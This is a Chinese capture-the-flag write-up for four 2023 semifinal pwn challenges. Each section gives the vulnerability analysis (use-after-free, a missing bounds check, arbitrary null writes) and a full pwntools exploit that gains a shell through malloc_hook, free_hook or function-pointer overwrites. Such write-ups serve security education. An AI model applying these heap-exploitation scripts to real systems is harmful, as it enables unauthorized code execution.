0%

国赛-半决赛2023

223heap

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ae938aabdee25f8227c57fc1a4ef180897687a3, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Canary,NX

漏洞分析

1
2
3
4
5
6
if ( (&chunk2)[index] )
{
free((&chunk2)[index]);
sizeg[index] = 0;
puts("deleted heap");
}
  • UAF

入侵思路

程序有 UAF 漏洞,可以考虑打 fastbin attak,利用程序提供的 magic 功能可以实现 double free,从而实现任意堆块申请

1
2
3
4
5
6
7
canary = __readfsqword(0x28u);
printf("help function for you!");
for ( i = 0; i <= 6; ++i )
ptr[i] = malloc(0x38uLL);
for ( j = 0; j <= 6; ++j )
free(ptr[j]);
return __readfsqword(0x28u) ^ canary;

但由于 fastbin 有 size 位的检查,因此需要错位写,将 malloc_hook 前面的指针首地址 0x7f 作为 fake chunk 的 size,从而绕过 fastbin 的检查

再次之前需要先通过切割 unsorted chunk 来制作一个位于 0x70 的 fast chunk 备用

然后可以通过 Double free 覆盖 chunk->fd 的低4位来尝试完成堆重叠(这里需要1/16的爆破,同时需要写入数据来绕过 fastbin 对 size 的检查)

成功劫持 malloc_hook 上方的某个地方之后,可以覆盖 malloc_hook 为 one_gadget

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('172.16.9.41','8001')

def debug():
gdb.attach(p,"b *0x400C71 ")
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
sla("input:",str(op))

def add(size,data):
# 0xff-chunk1
# 0x100-chunk2
# 0x101-chunk3
cmd(1)
sla("malloc :",str(size))
sa("heap:",data)

def show():
cmd(2)

def dele(index):
cmd(3)
sla("delete:",str(index))

def magic():
cmd(5)

#debug()

add(0x38,"5555")
add(0x100,"4444")
add(0x38,"5555")
dele(1)
add(0x100,"1")
show()

p.recvuntil("content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b31
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
success("free_hook >> "+hex(free_hook))
success("malloc_hook >> "+hex(malloc_hook))
system = libc_base + libc.sym["system"]
success("system >> "+hex(system))

dele(1)
add(0x98,p64(0x41)*17)
add(0x120,"6666")
add(0x60,"test")

dele(0)
add(0x38,p64(0x41)*7)

dele(0)
magic()
dele(0)

show()
add(0x38,p16(0x30c8))
add(0x38,p64(0x41)*7)
for i in range(6):
add(0x38,p64(0x41)*7)

one_gedget = 0x4527a+libc_base
#one_gedget2 = 0x4527a+libc_base

add(0x38,p64(0)*2+p64(0x71)+p64(libc_base+0x3c4af5-8))
success("libc_base+0x3c4af5-8 : "+hex(libc_base+0x3c4af5-8))
success("one_gedget >> "+hex(one_gedget))

add(0x60,"p")
add(0x60,"1"*11+p64(one_gedget)+p64(one_gedget))

"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

cmd(5)

p.interactive()

car_manager

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
car_manager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7c203a4e97216a548fcfd7ab2f864bcf9e0f9e27, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

由于本程序的结构较为复杂,因此可以先用一个案例来试试结构:

1
2
3
4
5
add("a","1")
add("b","2")
add("c","3")
add("d","4")
add("e","5")

结构体 car_list:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x5564327a9390-0x10
00:00000x5564327a9380 —▸ 0x5564327a9300 ◂— 0x100000000
01:00080x5564327a9388 ◂— 0x51 /* 'Q' */
02:00100x5564327a9390 —▸ 0x5564327a8f30 —▸ 0x5564327a8f40 ◂— 0x61 /* 'a' */
03:00180x5564327a9398 —▸ 0x5564327a9040 —▸ 0x5564327a9050 ◂— 0x62 /* 'b' */
04:00200x5564327a93a0 —▸ 0x5564327a9130 —▸ 0x5564327a9140 ◂— 0x63 /* 'c' */
05:00280x5564327a93a8 —▸ 0x5564327a9230 —▸ 0x5564327a9240 ◂— 0x64 /* 'd' */
06:00300x5564327a93b0 —▸ 0x5564327a9320 —▸ 0x5564327a9330 ◂— 0x65 /* 'e' */
07:00380x5564327a93b8 ◂— 0x0
  • car_list 用于存储 cat 结构体指针,如果超过范围就会将其释放,并重新申请更大的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> telescope 0x5564327a8f30
00:00000x5564327a8f30 —▸ 0x5564327a8f40 ◂— 0x61 /* 'a' */
01:00080x5564327a8f38 ◂— 0x1
02:00100x5564327a8f40 ◂— 0x61 /* 'a' */
03:00180x5564327a8f48 ◂— 0x0
04:00200x5564327a8f50 —▸ 0x5564327a8f60 ◂— 0x31 /* '1' */
05:00280x5564327a8f58 ◂— 0x1
06:00300x5564327a8f60 ◂— 0x31 /* '1' */
07:00380x5564327a8f68 ◂— 0x0
08:00400x5564327a8f70 ◂— 0x7e8
09:00480x5564327a8f78 —▸ 0x5564327a8eb0 ◂— 0x100000000
0a:00500x5564327a8f80 —▸ 0x5564327a8ed0 ◂— 0x100000000
0b:00580x5564327a8f88 —▸ 0x5564327a8ef0 ◂— 0x100000000
0c:00600x5564327a8f90 —▸ 0x5564327a8f10 ◂— 0x100000000
  • 0x5564327a8f30-0x5564327a8f480x5564327a8f50-0x5564327a8f68 有点像 basic_string
  • 后面的 0x5564327a8eb0 就只有两个4字节的条目

可以猜测 car 结构体的条目如下:

1
2
3
4
5
6
00000000 car struc ; (sizeof=0x68, mappedto_19)
00000000 make_basic_string db 32 dup(?) ; string(C)
00000020 model_basic_string db 32 dup(?) ; string(C)
00000040 year dq ? ; year int
00000048 tire tires ? ; tire tire
00000068 car ends

在函数 new_a_car 中可以验证:

1
2
3
4
5
6
7
8
9
std::string::basic_string(car);
std::string::basic_string(car->model_basic_string);
std::string::operator=(car, make);
std::string::operator=(car->model_basic_string, model);
car->year = (int *)year;
car->tire.data[0] = (struct tire)tire;
car->tire.data[1] = (struct tire)tire2;
car->tire.data[2] = (struct tire)tire3;
car->tire.data[3] = (struct tire)tire4;

漏洞分析

在释放模块中有一个疑似 UAF 的点:

1
2
3
4
5
6
7
car_by_index = get_car_by_index(car_list, index);
car = *car_by_index;
if ( *car_by_index )
{
free_car_internal(*car_by_index);
operator delete(car, 0x68uLL);
}
  • delete 指针没有置空,但程序对 car_list 进行了特殊处理:
1
2
3
4
5
for i in range(3):
add(str(i)*8,"1"*8)

for i in range(1):
dele(0)
1
2
3
4
5
6
pwndbg> telescope 0x561b2ba0a190
00:00000x561b2ba0a190 —▸ 0x561b2ba0a110 ◂— 0x0
01:00080x561b2ba0a198 ◂— 0x31 /* '1' */
02:00100x561b2ba0a1a0 —▸ 0x561b2ba0a040 —▸ 0x561b2ba0a050 ◂— '11111111'
03:00180x561b2ba0a1a8 —▸ 0x561b2ba0a130 —▸ 0x561b2ba0a140 ◂— '22222222'
04:00200x561b2ba0a1b0 —▸ 0x561b2ba0a130 —▸ 0x561b2ba0a140 ◂— '22222222'
  • 如果释放的 chunk 不是最后一个,其后面所有的 chunk 都会往前移动
1
2
3
4
5
for i in range(3):
add(str(i)*8,"1"*8)

for i in range(1):
dele(2)
1
2
3
4
5
6
pwndbg> telescope 0x55c8ed9ee190
00:00000x55c8ed9ee190 —▸ 0x55c8ed9ee110 —▸ 0x55c8ed9ee0f0 —▸ 0x55c8ed9ee0d0 —▸ 0x55c8ed9edfa0 ◂— ...
01:00080x55c8ed9ee198 ◂— 0x31 /* '1' */
02:00100x55c8ed9ee1a0 —▸ 0x55c8ed9edf30 —▸ 0x55c8ed9edf40 ◂— '00000000'
03:00180x55c8ed9ee1a8 —▸ 0x55c8ed9ee040 —▸ 0x55c8ed9ee050 ◂— '11111111'
04:00200x55c8ed9ee1b0 —▸ 0x55c8ed9ee130 ◂— 0x0
  • 如果释放的 chunk 是最后一个,则不会有特殊操作

真正的 UAF 在复制模块中:

1
2
3
4
5
6
7
8
9
10
std::string::basic_string(car_copy, car_src); // 复制car的make
std::string::basic_string(car_copy->model_basic_string, car_src->model_basic_string);
car_copy->year = car_src->year;
result = car_src->tire.data[1];
car_copy->tire.data[0] = car_src->tire.data[0];
car_copy->tire.data[1] = result;
result = car_src->tire.data[2];
result = car_src->tire.data[3];
car_copy->tire.data[2] = result;
car_copy->tire.data[3] = result;
  • 函数 copy 会直接拷贝 car->tire.data,这样会导致两个不同的 car 占据同一个 tire.data
  • 如果将其中一个 car 释放,就可以通过另一个 car 来修改 tcache chunk

入侵思路

利用 UAF 可以快速泄露 heap_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(5):
add(str(i)*8,"1"*8)

copy(0)
dele(0)
show()

p.recvuntil("Car 4:")
p.recvuntil("Tire Sizes: 0, ")
leak_addr1 = eval(p.recvuntil(",")[:-1])
p.recvuntil("Tire Pressures: 0, ")
leak_addr2 = eval(p.recvuntil(",")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
heap_base = leak_addr - 0x11eb0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

泄露 heap_base 后就可以修改 tcache->next 来实现堆重叠,进而修改 chunk->size 拿到 unsorted chunk,然后泄露 libc_base

最后劫持 tcache->next 到 free_hook,并注入 “/bin/sh\x00” + system 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:utf-8 -*-
from os import system
from signal import pause
from pwn import *

arch = 64
challenge = './car_manager1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x295C)\n")
#pause()

def cmd(op):
sla("Please enter your choice:",str(op))

def add(make,mod,year=2024,size=0,pressure=0):
cmd(1)
sla("Enter the make of the car:",make)
sla("Enter the model of the car:",mod)
sla(" Enter the year of the car: ",str(year))
sla("Enter the size of tire :",str(size))
sla("Enter the pressure of tire :",str(pressure))

def dele(index):
cmd(2)
sla("Enter the index of the car to delete:",str(index))

def find(make,mod,year=2024):
cmd(3)
sla("Enter the make of the car to find:",make)
sla("Enter the model of the car to find:",mod)
sla("Enter the year of the car to find:",year)

def edit(index,make,model,year=2024,key=1,index2=0,size=0,pressure=0):
cmd(4)
sla("Enter the index of the car to modify:",str(index))
sla("Enter the new make of the car:",make)
sla("Enter the new model of the car:",model)
sla("Enter the new year of the car",str(year))
sla("Do you want to change all tires?(1/0)",str(key))
if(key == 0):
sla("Enter the idx of tire :",str(index2))
sla("Enter the new size of tire :",str(size))
sla("Enter the new pressure of tire :",str(pressure))
else:
sla("Enter the new size of tire :",str(size))
sla("Enter the new pressure of tire :",str(pressure))

def copy(index):
cmd(5)
sla("Enter the index of the car to copy:",str(index))

def show():
cmd(6)

#debug()

for i in range(20):
add(str(i)*8,"1",size=0)

copy(0)
copy(1)
dele(0)
show()

p.recvuntil("Car 19:")
p.recvuntil("Tire Sizes: ")
leak_addr1 = eval(p.recvuntil(",")[:-1])
p.recvuntil("Tire Pressures: ")
leak_addr2 = eval(p.recvuntil(",")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
heap_base = leak_addr - 0x134d0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

magic_addr = heap_base + 0x12018
magic_addr1 = magic_addr & 0xffffffff
magic_addr2 = magic_addr >> 32
success("magic_addr >> "+hex(magic_addr))

edit(19,"a"*8,"a"*8,key=0,index2=0,size=magic_addr1,pressure=magic_addr2)
add("p"*0x40,"p"*0x40)
add("o"*0x8,"o"*0x8)
edit(22,"a"*8,"a"*8,key=0,index2=0,size=0x441)
dele(20)
show()

p.recvuntil("Car 0:")
p.recvuntil(", ")
p.recvuntil(", ")
p.recvuntil(", ")
leak_addr1 = eval(p.recvuntil("\n")[:-1])
p.recvuntil(", ")
p.recvuntil(", ")
p.recvuntil(", ")
leak_addr2 = eval(p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"] - 8
free_hook1 = free_hook & 0xffffffff
free_hook2 = free_hook >> 32
system = libc_base + libc.sym["system"]
success("libc_base >> "+hex(libc_base))
success("system >> "+hex(system))

copy(1)
dele(1)
edit(21,"a"*8,"a"*8,key=0,index2=0,size=free_hook1,pressure=free_hook2)
payload = "/bin/sh\x00"+p64(system)
add(payload,"o"*0x8)

p.interactive()

over

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d6a2a043e8258849ba2b9c5fd02bb700a0713f20, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
writen("some add\n");
num2 = *((_DWORD *)&data + num1 + 12) + readn();
result = &data;
*((_DWORD *)&data + num1 + 12) = num2;
  • 对于 num1 和 num2 的限制不到位,因此可以覆盖函数指针 func
  • 函数指针 func 在如下函数中完成初始化:
1
2
3
4
5
6
7
8
9
10
11
int (**init_s())(const char *s)
{
int (**result)(const char *); // rax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = &puts;
func = (__int64 (__fastcall *)(_QWORD))&puts;
return result;
}

入侵思路

通过溢出可以覆盖函数指针,计算 puts system 之间的偏移,然后修改 puts 为 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('172.16.9.41','8888')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12D3)\n")
pause()

def cmd(op):
sla("do\n",str(op))

def op1(num1,num2):
cmd(1)
sla("choose",num1)
sla("add\n",str(num2))

#debug()
sla("name","/bin/sh\x00")
op1("-2","-205200")
cmd(4)

"""
00:0000│ 0x561dca9c8088 —▸ 0x7f9884234420 (puts) ◂— endbr64
pwndbg> distance 0x7f9884202290 0x7f9884234420
0x7f9884202290->0x7f9884234420 is 0x32190 bytes (0x6432 words)
"""

p.interactive()

artist

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9742fe0f588e66c62439c18f22559cc96a5137df, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
int magic()
{
char *data; // [rsp+8h] [rbp-8h]

data = *(char **)buf;
writen("Madness is the reason for becoming a king.\n");
data[readn()] = 0;
return puts("ok");
}
  • 任意堆地址置空

入侵思路

具体的思路就是利用任意堆地址置空来覆盖 tcache->next 指针,从而完成堆重叠

堆重叠以后就可以修改 chunk->size 来伪造 unsorted chunk,将其释放后就可以泄露 libc_base

利用堆风水即可第二次覆盖 tcache->next 为 free_hook,即可劫持程序执行流

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(data): # 0x80
cmd(1)
sa("input some",data)

def edit1(index,data): #1
cmd(3)
sla("idx: \n",str(index))
sla("crazy\n","no")
sa("inspiration.\n",data)

def edit2(index,data):
cmd(3)
sa("crazy\n","yes")
sa("king.\n",str(index))
sa("inspiration.\n",data)

def edit3(data):
cmd(3)
sla("crazy\n","no")
sla("inspiration.\n",data)


def free1(index,data):
cmd(2)
sla("idx: \n",str(index))
sa("edits?\n",str(1))
sa("content\n",data)

def free2(index):
cmd(2)
sla("idx: \n",str(index))
sa("edits?\n",str(2))

#debug()

payload = "a"*0x8
sa(" other.",payload)

for i in range(10):
add("/bin/sh\x00")

for i in range(3):
free2(i+2)

add("1")

edit1(10,"\x50")
edit2(0,"\xa0")

add("1")
payload = "a"*0x28 + p64(0x481)
add(payload)

free2(1)
add("1")
add("1")
free2(14)

p.recvuntil("Please enjoy your masterpiece.\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecb31
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free2(10)
p.recvuntil("Please enjoy your masterpiece.\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x4a0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

edit3(p64(free_hook))
add("1")
add(p64(system))

free2(9)

p.interactive()